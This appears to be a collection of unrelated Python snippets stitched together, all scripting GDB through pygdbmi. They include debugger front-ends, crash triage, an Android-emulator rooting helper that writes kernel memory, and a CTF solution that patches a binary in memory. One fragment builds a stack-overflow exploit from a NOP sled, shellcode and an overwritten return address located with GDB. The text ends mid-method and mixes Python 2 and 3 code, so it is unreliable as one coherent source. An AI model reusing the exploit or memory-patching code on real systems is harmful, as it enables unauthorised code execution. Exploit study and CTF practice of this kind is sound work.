class GdbHelper: _WRITE_METHODS = {1: "write_byte", 4: "write_dword", 8: "write_qword"} _GDB_PY_PATTERN = re.compile(r"--with-python") _SNAPSHOT_NAME = "aeroot" def __init__(self, device: ppadb.client.Client, arch="x86", timeout=180): self.device = device self.arch = arch self.timeout = timeout self.gdb = None def __init_gdb(self): if self.gdb is not None: return self.gdb = GdbController( time_to_check_for_additional_output_sec=self.timeout) if self.arch == "x86_64": self.gdb.write("set arch i386:x86-64:intel") def exit(self): if self.gdb is not None: try: self.gdb.exit() except GdbTimeoutError: raise GdbError("Can't connect to gdb server") finally: self.gdb = None def start(self): self.__init_gdb() try: self.gdb.write(f"target remote {self.device.client.host}:1234") except GdbTimeoutError: raise GdbError("Can't connect to gdb server") def stop(self): self.gdb.write("detach") def write(self, address: int, value: int, size: int = 1): getattr(self, GdbHelper._WRITE_METHODS.get(size, "write_byte"))(address, value) def write_byte(self, address: int, value: int): self.gdb.write("set *(unsigned char*) (%#x) = %#x" % (address, value)) def write_dword(self, address: int, value: int): self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (address, value)) def write_qword(self, address: int, value: int): self.gdb.write("set *(unsigned long*) (%#x) = %#x" % (address, value)) def read_dword(self, address: int) -> int: return GdbResponse(self.gdb.write("x/wx %#x" % address)).to_int() def read_addr(self, address: int) -> int: return GdbResponse(self.gdb.write("x/a %#x" % address)).to_int() def read_str(self, address: int) -> str: return GdbResponse(self.gdb.write("x/s %#x" % address)).to_str() def read_ip(self) -> int: return GdbResponse(self.gdb.write("p/x $pc")).to_int() def find(self, query: str) -> List[int]: addresses = [] response = self.gdb.write("find %s" % query, timeout_sec=180) for subset in response: payload = subset.get("payload") if payload is not None and payload.startswith("0x"): addresses.append(int(payload.replace("\\n", ""), 16)) return addresses def execute(self, cmd: str) -> filter: result = filter( lambda x: x.get("type") == "console" and x.get("payload"). startswith("#"), self.gdb.write(cmd)) return list(result) def execute_and_retry(self, cmd, retry_cnt=5, delay=5, msg="Retry"): for i in range(1, retry_cnt + 1): if i > 1: self.stop() sleep(delay) self.start() result = self.execute(cmd) if len(result) > 0: return result info(f"{msg} (try: {i}/{retry_cnt})...") return result def has_python(self) -> bool: try: response = self.gdb.write("show configuration") except GdbTimeoutError: raise GdbError("Can't connect to gdb server") return any( map(lambda x: GdbHelper._GDB_PY_PATTERN.search(x) is not None, (r.get("payload", "") for r in response if r.get("type") == "console"))) def update(self): self.stop() try: console = Console(self.device.client.host, int(self.device.serial.split("-")[1])) debug("Connecting emulator's console") console.connect() debug("Saving snapshot") console.send_cmd(f"avd snapshot save {GdbHelper._SNAPSHOT_NAME}") debug("Loading snapshot") console.send_cmd(f"avd snapshot load {GdbHelper._SNAPSHOT_NAME}") console.send_cmd(f"avd snapshot delete {GdbHelper._SNAPSHOT_NAME}") console.disconnect() except ConsoleError as err: raise GdbError(err) except ValueError: raise GdbError("Can't get emulator console port") except IndexError: raise GdbError("Can't get emulator console port") finally: self.start()
def process_crashlist_log_tc(tc_no, target_report, cdcsv, io_dir, target_name, bin_file, line): """Retrieve information from an application's core dump file programatically For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html """ if target_name in ['libcoap-server', 'libnyoci-plugtest', 'riot-native-nanocoap-server', 'riot-native-gcoap-server', 'contiki-native-erbium-plugtest', 'mongoose-server', 'coapp-server']: # Initialize object that manages gdb subprocess gdbmi = GdbController() # Send gdb commands. Gdb machine interface commands are easier to script around, # hence the name "machine interface". # Responses are returned after writing, by default. # Load the executable file try: responses = gdbmi.write('-file-exec-and-symbols %s' % bin_file, timeout_sec=5) except: print "Could not load executable for tc %s" % tc_no return -1 # Get list of source files used to compile the binary #responses = gdbmi.write('-file-list-exec-source-files') if not os.path.isfile('%s/TC_%s.dump' % (io_dir, tc_no)): print "TC %s has no core file" % tc_no return -1 # Read core file while True: try: responses = gdbmi.write('core %s/TC_%s.dump' % (io_dir, tc_no), timeout_sec=5) except GdbTimeoutError: print "retrying due to timeout when opening core file for tc %s" % tc_no continue break # Get information from the selected (default=inner-most (0)) stack frame # TODO: For some reason, responses seems to have a delay or something like that while not (len(responses) == 1 and responses[0]['type'] == 'result' and responses[0]['payload'] is not None and 'stack' in responses[0]['payload']): try: responses = gdbmi.write('-stack-list-frames', timeout_sec=5) except GdbTimeoutError: print "retrying due to timeout when listing the stack frames for tc %s" % tc_no continue # List variable's names, types and values from the selected stack frame #responses = gdbmi.write('-stack-list-variables 2') # Well, gdbmi is just buggy afterall gdbmi.exit() gdbmi.exit() gdbmi.exit() # gdbmi.gdb_process is None now because the gdb subprocess (and its inferior # program) have been terminated # Upwards on the stacktrace (from deepest to shallowest), try to get # the deepest trace belonging to a coap-related file which has a function name my_key = None stack_list = responses[0]['payload']['stack'] for frame in stack_list: file_name = frame.get('fullname', '') function_name = frame.get('func', '??') line_no = frame.get('line', '') if 'coap' in frame.get('fullname', '') and frame.get('func', '??') != '??': my_key = file_name+'|'+line_no+'|'+function_name break if not my_key: print "Problem processing TC %s" % tc_no return -1 try: target_report[my_key].append(tc_no) except KeyError: target_report[my_key] = [] target_report[my_key].append(tc_no) cdcsv.write( "%s\t%s\t%s\t%s\t\n" % (tc_no, my_key, line.strip(), '') )
class Gdb(object): def __init__(self, vim): self.vim = vim self.ctrl = None self.thread = None self.running = False self.pc = None self.next_watch_no = 1 # --- watches self.watches = {} self.watch_buf = self.vim.api.create_buf(True, False) self.watch_buf.name = "dbug-watch-expressions" self.watch_buf.api.set_option("bt", "nofile") #self.watch_buf.api.set_option("readonly", True) self.vim.api.buf_set_keymap(self.watch_buf, 'n', 'd', ':DbgWatchDelete<cr>', {'nowait': True}) self.bt = Backtrace(vim) self.bpl = BreakpointList(vim) def start(self): if self.running: self.stop() gdb_path = self.vim.vars.get('dbug_gdb_path') if not gdb_path or not os.path.isfile(gdb_path): self.vim.command("echom \"Dbg: Using the default gdb installation\"") # TODO: check if gdb is installed: `which gdb` on Linux (and try on # windows as well) gdb_path = "gdb" self.ctrl = GdbController([gdb_path, "--interpreter=mi3"]) # Start the thread that listens for responses self.thread = threading.Thread(target=self.parse_response) self.running = True self.thread.start() self.ctrl.write("-enable-pretty-printing", read_response=False) info("Started GDB debugger %s" % (gdb_path)) def stop(self): # clear the PC sign (if any) if self.pc: self.vim.command("sign unplace %d" % self.pc["number"]) self.pc = None self.bpl.purge() # Stop the listening thread self.running = False self.thread.join() # Gracefully disconnect and exit self.target_disconnect() self.ctrl.exit() self.ctrl = None info("GDB debugger has stopped") def target_connect_remote(self, remote): info("Connecting remotely to %s" % remote) self.ctrl.write("-target-select remote %s" % remote, read_response=False) def target_disconnect(self): info("Disconnecting from target") self.ctrl.write("-target-disconnect", read_response=False) def load_exec_and_symbol_file(self, fname): if not os.path.isfile(fname): error("File '%s' doesn't exist" % (fname)) info("Using '%s' as both executable and symbols file" % fname) self.ctrl.write("-file-exec-and-symbols %s" % (fname), read_response=False) def download(self): self.ctrl.write("-target-download", read_response=False) def run(self): self.ctrl.write("-exec-run", read_response=False) def cont(self): self.ctrl.write("-exec-continue", read_response=False) def step(self): self.ctrl.write("-exec-step", read_response=False) def next(self): self.ctrl.write("-exec-next", read_response=False) ### BREAKPOINTS {{{1 def bp_toggle(self, fname, line): bp = Breakpoint(fname, line) if bp in self.bpl: bp = self.bpl.remove(bp) self.ctrl.write(f"-break-delete {bp.number}", read_response=False) else: self.ctrl.write(f"-break-insert {str(bp)}", read_response=False) def bp_list(self): self.ctrl.write("-break-list", read_response=False) ### PROGRAM-COUNTER (PC) {{{1 def _update_pc(self, pc): old_pc = None if self.pc: old_pc = self.pc pc["number"] = (old_pc["number"] % 2) + 1 else: pc["number"] = 1 self.pc = pc buf_is_open = False for buf in self.vim.api.list_bufs(): if buf.name == pc['file']: self.vim.api.win_set_buf(0, buf) self.vim.api.win_set_cursor(0, (pc['line'], 0)) buf_is_open = True break if not buf_is_open: self.vim.command("e %s" % pc['file']) self.vim.api.win_set_cursor(0, (pc['line'], 0)) #for no, bp in self.breakpoints.items(): # if bp["line"] == pc["line"] and bp["file"] == pc["file"]: # self.vim.command("sign unplace %d" % (no + 2)) # break self.vim.command("sign place %d line=%d name=dbg_pc file=%s" % (pc['number'], pc['line'], pc['file'])) self.vim.command("normal! zz") debug("Update PC at '%s:%d'" % (pc["file"], pc["line"])) # Update the old_pc here because first removing the sing and then placing # when in the same file can cause flicker since the gutter is resized if old_pc: self.vim.command("sign unplace %s" % old_pc['number']) #for no, bp in self.breakpoints.items(): # if bp["line"] == old_pc["line"] and bp["file"] == old_pc["file"]: # self.vim.command("sign place %d line=%d name=dbg_bp file=%s" % (no + 2, bp['line'], bp['file'])) # break ### STACK {{{1 ### Commands {{{2 def stack_info(self): self.ctrl.write("-stack-info-frame", read_response=False) def stack_list(self): self.ctrl.write("-stack-list-frames", read_response=False) ### WATCHES {{{1 ### Commands {{{2 def expr_watch(self, expr): expr_no = self.next_watch_no self.next_watch_no = self.next_watch_no + 1 expr_name = "var%d" % (expr_no) self.watches[expr_no] = {"name": expr_name, "expr": expr} self.ctrl.write("-var-create %s @ %s" % (expr_name, expr), read_response=False) def expr_update(self): self.ctrl.write("-var-update *", read_response=False) def watch_del(self, line): watch = None for n, w in self.watches.items(): if line == w["line"]: watch = w del self.watches[n] break if watch: # update line numbers for each watch for n, w in self.watches.items(): if w['line'] > watch['line']: self.watches[n]['line'] = w['line'] - 1 self._watch_refresh() debug("Watch '{:s}' deleted".format(watch["expr"])) ### Utilities {{{2 def _pr_watch(self, watch): line = watch['line'] text = "{:<30s} {:<30s}[{:s}]".format(watch['expr'], watch['value'], watch['type']) self.vim.api.buf_set_lines(self.watch_buf, line, line, True, [text]) def _watch_refresh(self): self.vim.api.buf_set_lines(self.watch_buf, 0, -1, False, []) for n, w in self.watches.items(): self._pr_watch(w) ### Handles {{{2 def _update_watches(self, n): watch = self.watches[n] if 'line' not in watch: last_line = 0 for n, w in self.watches.items(): if 'line' in w and w['line'] >= last_line: last_line = w['line'] + 1 self.watches[n]['line'] = last_line watch = self.watches[n] self._pr_watch(watch) info("Updated watch '%s' on line %d" % (watch['expr'], watch['line'])) def _watch_update(self, var): response = self.ctrl.write("-var-evaluate-expression %s" % (var), read_response=True) for r in response: for k, v in r.items(): if k in ['payload']: n = int(var.split("var")[1]) self.watches[n]["value"] = v['value'] self.vim.async_call(self._watch_refresh) debug("Watch's %s value changed to %s" % (var, v['value'])) ### PRINT FUNCTIONS {{{1 ### Used for logging messages from GDB; they exist because the string has ### to be modified (escaped) before printed to the screen def _info(self, hdr, msg): if msg: for m in msg.split('\\n'): m = m.replace('\\"', '"') info("%s: %s" % (hdr, m)) def _debug(self, hdr, msg): if msg: for m in msg.split('\\n'): m = m.replace('\\"', '"') debug("%s: %s" % (hdr, m)) ### PARSING THE RESPONSE {{{1 ### This function if run by a thread, waits in a loop for messages from GDB ### and then calls the corresponding handling functions def parse_response(self): debug("Started response parser thread") while self.running: response = self.ctrl.get_gdb_response(timeout_sec=1, raise_error_on_timeout=False) # The response is a list of dictionaries with each entry in the list # of the form: # {'type': '', 'message': '', 'payload': ''} # # where: # type := 'console' | 'log' | 'output' | 'result' | 'notify' # message := None | 'Some message' # payload := None | 'Some message' | a dictionary/list carrying more information # # the other fields are ignored for r in response: # debug(r) # The information that is printed on the screen can be found in the # 'message' field (if not None) and in the 'payload' field if it is # of string type; additionally it can be found int r['payload']['msg'] # if 'payload' is a dictionary self._info(f"gdb-{r['type']}[m]", r['message'] if r['message'] else None) self._info(f"gdb-{r['type']}[p]", r['payload'] if type(r['payload']) == type('') else None) self._info(f"gdb-{r['type']}", r['payload']['msg'] if type(r['payload']) == type({}) and 'msg' in r['payload'] else None) if r['type'] in ['notify', 'result'] and type(r['payload']) == type({}): # When the 'payload' field is a dictionary is as a response to a command # and carries additional information that is used # The contents of the 'payload' is dependent on the command sent and for k, v in r['payload'].items(): # ---> Breakpoints if k in ['bkpt']: bp = Breakpoint(v['fullname'], int(v['line']), int(v['number'])) self.vim.async_call(self.bpl.add, bp) elif k in ['BreakpointTable']: debug('---BreakpointTable') for b in v["body"]: bp = Breakpoint(b['fullname'], int(b['line']), int(b['number'])) if bp not in self.bpl: self.vim.async_call(self.bpl.add, bp) # ---> Program Counter (PC) elif k in ['frame'] and 'line' in v and 'fullname' in v: pc = {'line': int(v['line']), 'file': v['fullname']} self.vim.async_call(self._update_pc, pc) # Update any watch that may be used self.ctrl.write("-var-update *", read_response=False) # ---> Watches elif k in ['name'] and 'var' in r['payload']['name']: n = int(r['payload']['name'].split('var')[1]) self.watches[n]['value'] = r['payload']['value'] self.watches[n]['type'] = r['payload']['type'] self.vim.async_call(self._update_watches, n) elif k in ['changelist']: for w in v: self._watch_update(w['name']) # ---> Backtrace elif k in ['stack']: self.vim.async_call(self.bt.update, v) debug("Response parser thread stopped")
class Debugger: def __init__(self, arch='riscv:rv32'): # logging.basicConfig(level=logging.DEBUG) self.gdbmi = None try: command = ['gdb-multiarch', '--interpreter=mi3', '--quiet'] self.gdbmi = GdbController(command) except ValueError as msg: logging.critical(msg) if self.gdbmi is not None: self.gdbmi.write('set confirm off') self.gdbmi.write('set architecture ' + arch) def __del__(self): self.close() def connect(self): if self.gdbmi is not None: self.gdbmi.write('target remote :1234') def suspend(self): # self.gdbmi.send_signal_to_gdb('SIGINT') os.kill(self.gdbmi.gdb_process.pid, 2) self.gdbmi.get_gdb_response() def run(self): response = self.gdbmi.write('c') return response def step(self): response = self.gdbmi.write('s') for res in response: if res['type'] == 'result': if res['message'] == 'running': self.suspend() status = self.getStatus() return status def breakpoint(self, number): gdb_cmd = f'b {number}' response = self.gdbmi.write(gdb_cmd) return response def loadCode(self, filename): gdb_cmd = f'add-symbol-file {filename}' response = self.gdbmi.write(gdb_cmd) gdb_cmd = f'load {filename}' response = self.gdbmi.write(gdb_cmd) return response def readMemory(self, dir, size): gdb_cmd = f'x/{size} {dir}' response = self.gdbmi.write(gdb_cmd) for res in response: if res['type'] == 'result': msg = res['message'] if res['payload'] is not None: payload = res['payload']['msg'].encode() else: payload = None return msg, payload def getStatus(self): response = self.gdbmi.write('frame') line = 0 for res in response: if res['type'] == 'console': if ':' in res['payload']: line = res['payload'].split(':')[1] line = line.split('\\')[0] line = int(line) response = self.gdbmi.write('info registers') regs = [] for res in response: if res['type'] == 'console': reg = res['payload'].split()[1] reg = reg.split('\\')[0] regs.append(int(reg, 16)) status = regs status.append(line) return status def close(self): if self.gdbmi is not None: self.gdbmi.exit()
# run GDB and get jump target # note: pwntools also a GDB wrapper, but gdbmi seemed easier to work with in my opinion # pwntools gdb: https://docs.pwntools.com/en/stable/gdb.html # gdbmi: https://pypi.org/project/pygdbmi/ gdbmi = GdbController(verbose=False) response = gdbmi.write("file " + program) response = gdbmi.write("unset env LINES") response = gdbmi.write("unset env COLUMNS") response = gdbmi.write("break *main+47") response = gdbmi.write("run " + exploit_template) response = gdbmi.write("print (void*) &buf + (" + str(len(nop_sled)) + "/2)") # jump target is the 6th response (not counting starting gdb) # the output of gdb is stored in the payload field # then we must parse the substring to remove the "$1 = (void *) " jump_target = response[6]["payload"][len("$1 = (void *) "):] response = gdbmi.exit() print("Debugger Jump Target (center of NOP Sled): " + jump_target) # use an 8-byte filler of "AAAAAAAA" to overwrite the base pointer rbp = b"A" * 8 # overwrite RIP with the jump target address found in GDB # jump target is aimed at the center of the NOP sled # this also converts the jump target to little endian form # note: p64 is going to output zero bytes for the two most # significant bytes, but strcpy will stop copying at the first # zero byte anyway so this does not matter rip = p64(int(jump_target, 16)) exploit = nop_sled + shellcode + rbp + rip
class ProgramSimulation: def __init__(self, binary, prog_args, method_name, registers, args): self.gdbmi = None self.binary = binary self.prog_args = prog_args self.done = None self.signal = None self.prev_register_values = None self.method_name = method_name self.args = args self.registers = registers def init(self): self.gdbmi = GdbController() self.gdbmi.write('-exec-arguments %s %s' % self.prog_args, read_response=False) self.gdbmi.write('-file-exec-and-symbols %s' % self.binary, read_response=False) self.gdbmi.write('-break-insert %s' % self.method_name, read_response=False) self.gdbmi.write('-exec-run', read_response=False) self.gdbmi.write('-data-list-register-names', read_response=False) def run(self): self.init() self.prev_register_values = {} self.signal = [] self.done = False step_count = 0 check_interval = 100 register_value_interval = self.args.register_check_interval while not self.done: # print("\rStep: %d " % step_count, end='') # Parse reponses from issues commands if step_count % check_interval == 0: self.parse_responses( register_values_cb=self.update_power_consumption) # Send command to get register values if step_count % register_value_interval == 0: self.get_register_values(self.registers) # Send command to get next step self.program_step() step_count += 1 self.gdbmi.exit() return np.array(self.signal) def run_find_varying_registers(self, nruns=3): self.register_value_sum = defaultdict(lambda: []) # Sum each register value during steps. Repeat nruns times. for n in range(0, nruns): print("Run %d..." % n) self.init() self.done = False self.register_value_history = defaultdict(lambda: []) while not self.done: self.get_register_values(self.registers) self.parse_responses( register_values_cb=self.compare_register_values) self.program_step() del self.gdbmi for key, values in self.register_value_history.items(): self.register_value_sum[key].append( sum([int(x) for x in values])) # Check if there were runs with a different outcome normal_keys = [] for key, values in self.register_value_sum.items(): if len(set(values)) > 1: print("Found weird key %s: %s" % (key, str(values))) else: normal_keys.append(key) return normal_keys def compare_register_values(self, register_values): for key, value in register_values.items(): self.register_value_history[key].append(value) def update_power_consumption(self, current_register_values): power_consumption = get_registers_power_consumption( self.prev_register_values, current_register_values) self.prev_register_values = current_register_values # print("Power consumption: %d" % power_consumption) self.signal.append(power_consumption) def parse_responses(self, register_values_cb=None): try: responses = self.gdbmi.get_gdb_response(timeout_sec=2) except GdbTimeoutError: print("ERROR: Got timeout from GDB. Exiting prematurely.") self.done = True return for response in responses: #print(response) # Check for register values payload = response['payload'] if payload is not None: if 'register-values' in payload: register_tuples = payload['register-values'] register_values = _parse_register_tuples(register_tuples) register_values_cb(register_values) # Check for end packet if 'type' in response and response['type'] == 'notify': if response['message'] == 'thread-exited': self.done = True def program_step(self): """ Step program :return: """ if self.args.granularity == 'instruction': self.gdbmi.write('-exec-step-instruction', read_response=False, timeout_sec=0) elif self.args.granularity == 'step': self.gdbmi.write('-exec-step', read_response=False, timeout_sec=0) elif self.args.granularity == 'next': self.gdbmi.write('-exec-next', read_response=False, timeout_sec=0) def get_register_values(self, target_registers=None): # Filter? if target_registers is not None: register_list = ' '.join(target_registers) else: register_list = '' self.gdbmi.write('-data-list-register-values r %s' % register_list, read_response=False, timeout_sec=0) def get_changed_registers(self): """ DEPRECATED Get list of changed registers. Not used anymore because just batching requests for all register values is faster than checking which ones changed, waiting, and then querying for them. :return: """ self.gdbmi.write('-data-list-changed-registers', read_response=False)
print("Our quick sort function is located at: %s" % hex(quicksort_addy)) # # Hook the binary sort function # 48 b8 35 08 40 00 00 00 00 00 mov rax, 0x0000000000400835 # ff e0 jmp rax # print("Let's do some magic things") gdbmi.write('b *%s' % hex(sortarr_addy)) gdbmi.write('run') gdbmi.write('set *(short*)%d = 0xb848' % sortarr_addy) # mov rax gdbmi.write('set *(long long*)%d = %d' % (sortarr_addy + 2, quicksort_addy)) # our new sort gdbmi.write('set *(short*)%d = 0xe0ff' % (sortarr_addy + 10)) # jmp rax gdbmi.write('continue') # # Just get your awesome flag # => ECSC{5d12758be6f2a971153c5599339f77b0} # res = gdbmi.get_gdb_response(timeout_sec=15) flag = [x for x in res if x['type'] == 'output'][0]['payload'] print("\nHere is your flag: %s" % flag) # Close everything gdbmi.exit()
class Session: def __init__(self): self.seq = 0 self.request_seq = 0 self.gdbmi = None @property def next_seq(self): self.seq += 1 return self.seq async def gdb_write(self, cmd): return await loop.run_in_executor(None, self.gdbmi.write, cmd) async def event(self, type_): js = {'event': type_, 'type': 'event', 'seq': self.next_seq} print(json.dumps(js)) async def process(self, json_cmd): resp = {} resp = await getattr(self, json_cmd["type"])(resp, json_cmd) resp['seq'] = self.next_seq return resp async def request(self, resp, json_cmd): self.request_seq += 1 fname = f'{json_cmd["type"]}_{json_cmd["command"]}' kwds = json_cmd.get('arguments', {}) resp.update({ 'success': True, 'command': json_cmd['command'], 'request_seq': self.request_seq, 'type': 'response' }) if getattr(self, fname): resp = await getattr(self, fname)(resp, **kwds) else: resp = await getattr(self, f'{json_cmd["type"]}_default')(resp, **kwds) return resp async def request_default(self, resp, command, **kwds): return {'body': {}, 'dflt': True} async def request_initialize(self, resp, **kwds): resp['body'] = { 'supportsGotoTargetsRequest': True, 'supportsHitConditionalBreakpoints': True, 'supportsConfigurationDoneRequest': True, 'supportsConditionalBreakpoints': True, 'supportsFunctionBreakpoints': True, 'supportsEvaluateForHovers': True, 'supportsSetVariable': True, 'supportsStepBack': True, } return resp async def request_launch(self, gdbpath=None, debugger_args=None, env=None, cwd=None, target=None, **kwds): self.gdbmi = GdbController() await self.event('initialized') if cwd: await self.gdb_write(f'-environment-cd {cwd}') if target: await self.gdb_write(f'-file-exec-and-symbols {target}') def close(self): print('Close') if self.gdbmi: self.gdbmi.exit()
class Gdb(object): """ Class to communicate to GDB """ chip_name = '' def __init__(self, gdb_path='gdb', remote_target=None, extended_remote_mode=False, gdb_log_file=None, log_level=None, log_stream_handler=None, log_file_handler=None): """ Constructor. Parameters ---------- gdb_path : string path to GDB executable. remote_target : string remote target address, for possible values see https://www.sourceware.org/gdb/onlinedocs/gdb/Connecting.html. Use "" or None value to skip the connection stage. extended_remote_mode : bool If True extended remote mode should be used. gdb_log_file : string path to GDB log file. log_level : int logging level for this object. See logging.CRITICAL etc log_stream_handler : logging.Handler Logging stream handler for this object. log_file_handler : logging.Handler Logging file handler for this object. """ self.tmo_scale_factor = 1 self._remote_target = remote_target self._extended_remote_mode = extended_remote_mode self._logger = log.logger_init("Gdb", log_level, log_stream_handler, log_file_handler) self._gdbmi = GdbController(gdb_path=gdb_path) self._gdbmi_lock = threading.Lock() self._resp_cache = [] self._target_state = TARGET_STATE_UNKNOWN self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN self.stream_handlers = {'console': [], 'target': [], 'log': []} self._curr_frame = None self._curr_wp_val = None # gdb config self.prog_startup_cmdfile = None self.gdb_set("mi-async", "on") if gdb_log_file is not None: pardirs = os.path.dirname(gdb_log_file) if pardirs: os.makedirs(pardirs, exist_ok=True) # create non-existing folders self.gdb_set("logging", "file %s" % gdb_log_file) self.gdb_set("logging", "on") def _on_notify(self, rec): if rec['message'] == 'stopped': self._target_state = TARGET_STATE_STOPPED self._curr_frame = rec['payload']['frame'] if 'reason' in rec['payload']: if rec['payload']['reason'] == 'breakpoint-hit': self._target_stop_reason = TARGET_STOP_REASON_BP elif rec['payload']['reason'] == 'watchpoint-trigger': self._target_stop_reason = TARGET_STOP_REASON_WP self._curr_wp_val = rec['payload']['value'] elif rec['payload']['reason'] == 'watchpoint-scope': self._target_stop_reason = TARGET_STOP_REASON_WP_SCOPE elif rec['payload']['reason'] == 'end-stepping-range': self._target_stop_reason = TARGET_STOP_REASON_STEPPED elif rec['payload']['reason'] == 'function-finished': self._target_stop_reason = TARGET_STOP_REASON_FN_FINISHED elif rec['payload']['reason'] == 'signal-received': if rec['payload']['signal-name'] == 'SIGINT': self._target_stop_reason = TARGET_STOP_REASON_SIGINT elif rec['payload']['signal-name'] == 'SIGTRAP': self._target_stop_reason = TARGET_STOP_REASON_SIGTRAP else: self._logger.warning('Unknown signal received "%s"!', rec['payload']['signal-name']) self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN else: self._logger.warning('Unknown target stop reason "%s"!', rec['payload']['reason']) self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN else: self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN elif rec['message'] == 'running': self._target_state = TARGET_STATE_RUNNING def _parse_mi_resp(self, new_resp, new_tgt_state): result = None result_body = None old_state = self._target_state # if any cached records go first resp = self._resp_cache + new_resp processed_recs = 0 for rec in resp: processed_recs += 1 if rec['type'] == 'log': self._logger.debug('LOG: %s', pformat(rec['payload'])) for hnd in self.stream_handlers['log']: hnd(rec['type'], rec['stream'], rec['payload']) elif rec['type'] == 'console': self._logger.info('CONS: %s', pformat(rec['payload'])) for hnd in self.stream_handlers['console']: hnd(rec['type'], rec['stream'], rec['payload']) elif rec['type'] == 'target': self._logger.debug('TGT: %s', pformat(rec['payload'])) for hnd in self.stream_handlers['target']: hnd(rec['type'], rec['stream'], rec['payload']) elif rec['type'] == 'notify': self._logger.info('NOTIFY: %s %s', rec['message'], pformat(rec['payload'])) self._on_notify(rec) # stop upon result receiption if we do not expect target state change if self._target_state != old_state and self._target_state == new_tgt_state: self._logger.debug('new target state %d', self._target_state) break elif rec['type'] == 'result': self._logger.debug('RESULT: %s %s', rec['message'], pformat(rec['payload'])) result = rec['message'] result_body = rec['payload'] # stop upon result reception if we do not expect target state change if not new_tgt_state: break # cache unprocessed records self._resp_cache = resp[processed_recs:] # self._logger.debug('cached recs: %s', pformat(self._resp_cache)) return result, result_body def _mi_cmd_run(self, cmd, new_target_state=None, response_on_success=["done"], tmo=5): def is_sublist(what, where): for i in range(len(where)): if what == where[i:i + len(what)]: return True return False def _mi_cmd_isdone(response, response_on_success): if not len(response_on_success): return True if len(response) < len(response_on_success): return False r_list = [str(i.get('message')) for i in response] return is_sublist(response_on_success, r_list) self._logger.debug('MI->: %s', cmd) response = [] end = time.time() # lock_tmo = end - curr_time if end > curr_time else 0 if tmo is not None: end += tmo * self.tmo_scale_factor if not self._gdbmi_lock.acquire(timeout=tmo*self.tmo_scale_factor): raise DebuggerTargetStateTimeoutError("Failed to wait for GDB/MI to become ready!") done = False try: self._gdbmi.write(cmd, read_response=False) while time.time() <= end and not done: # while time is not up r = self._gdbmi.get_gdb_response(timeout_sec=0, raise_error_on_timeout=False) response += r done = _mi_cmd_isdone(response, response_on_success) except Exception as e: self._gdbmi.verify_valid_gdb_subprocess() else: self._gdbmi_lock.acquire() while len(response) == 0: response = self._gdbmi.write(cmd, raise_error_on_timeout=False) self._logger.debug('MI<-:\n%s', pformat(response)) res, res_body = self._parse_mi_resp(response, new_target_state) # None, None if empty while not res: # check for result report from GDB response = self._gdbmi.get_gdb_response(0, raise_error_on_timeout=False) if not len(response): if tmo is not None and (time.time() >= end): self._gdbmi_lock.release() raise DebuggerTargetStateTimeoutError( 'Failed to wait for completion of command "%s" / %s!' % (cmd, tmo * self.tmo_scale_factor)) else: self._logger.debug('MI<-:\n%s', pformat(response)) res, res_body = self._parse_mi_resp(response, new_target_state) # None, None if empty self._gdbmi_lock.release() return res, res_body def stream_handler_add(self, stream_type, handler): if stream_type not in self.stream_handlers: raise DebuggerError('Unsupported stream type "%s"' % stream_type) if handler in self.stream_handlers[stream_type]: return self.stream_handlers[stream_type].append(handler) def stream_handler_remove(self, stream_type, handler): if stream_type not in self.stream_handlers: raise DebuggerError('Unsupported stream type "%s"' % stream_type) if handler not in self.stream_handlers[stream_type]: return self.stream_handlers[stream_type].remove(handler) def gdb_exit(self, tmo=5): """ -gdb-exit ~= quit """ self._mi_cmd_run("-gdb-exit", response_on_success=["exit"], tmo=tmo) with self._gdbmi_lock: self._gdbmi.exit() self._gdbmi = None def console_cmd_run(self, cmd, response_on_success=["done"], tmo=5): """ Execute a command in the console mode Parameters ---------- cmd : str response_on_success : list list of expected responses on success tmo : int time after that command will be considered as failed Returns ------- res, res_body """ return self._mi_cmd_run("-interpreter-exec console \"%s\"" % cmd, response_on_success=response_on_success, tmo=tmo) def target_select(self, tgt_type, tgt_params, tmo=5): # -target-select type parameters res, _ = self._mi_cmd_run('-target-select %s %s' % (tgt_type, tgt_params), response_on_success=["connected"], tmo=tmo) if res != 'connected': raise DebuggerError('Failed to connect to "%s %s"!' % (tgt_type, tgt_params)) def target_disconnect(self): # -target-disconnect self._mi_cmd_run('-target-disconnect') def target_reset(self, action='halt', tmo=5): self.monitor_run('reset %s' % action) if action == 'halt': self.wait_target_state(TARGET_STATE_STOPPED, tmo=tmo) self.console_cmd_run('flushregs') def exec_file_set(self, file_path): # -file-exec-and-symbols file local_file_path = file_path if os.name == 'nt': # Convert filepath from Windows format if needed local_file_path = local_file_path.replace("\\", "/") res, _ = self._mi_cmd_run('-file-exec-and-symbols %s' % local_file_path) if res != 'done': raise DebuggerError('Failed to set program file!') def exec_file_core_set(self, file_path): local_file_path = file_path if os.name == 'nt': # Convert filepath from Windows format if needed local_file_path = local_file_path.replace("\\", "/") res, _ = self.console_cmd_run("core %s" % local_file_path) # TODO find/add mi-command for this if res != 'done': raise DebuggerError('Failed to set the core file!') def exec_interrupt(self): # -exec-interrupt [--all|--thread-group N] res, _ = self._mi_cmd_run('-exec-interrupt --all') if res != 'done': raise DebuggerError('Failed to stop program!') def exec_continue(self): # -exec-continue [--reverse] [--all|--thread-group N] res, _ = self._mi_cmd_run('-exec-continue --all', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to continue program!') def file_cmd_run(self, path, tmo=5): """ Parameters ---------- path : str tmo : int """ if os.name == 'nt': path = path.replace("\\", "/") # BUG: using commands changing prompt type like 'commands' is not supported self.console_cmd_run('source %s' % path, tmo=tmo) def exec_run(self, start_func='main', startup_tmo=5, only_startup=False): """ Executes a startup command file in the beginning if it specified and then executes `-exec-run [ --start ]` mi-command Parameters ---------- start_func : str if not empty `exec_run` works like `start` stopping on the main function, otherwise - as `run` startup_tmo : int timeout for startup command file's execution only_startup :bool execute only a startup command file omitting `run`/`start` logic """ if self.prog_startup_cmdfile: self.file_cmd_run(self.prog_startup_cmdfile, tmo=startup_tmo) if only_startup: return if start_func: # if the start function specified execute `start` res, _ = self._mi_cmd_run('-exec-run --all --start', response_on_success=["running"]) # stop on main() if start_func != 'main': # if we are want to use another function as a start function self.wait_target_state(TARGET_STATE_STOPPED, 5) # check if we are really stopped self.add_bp(start_func, tmp=True) # add a bp at the custom start function 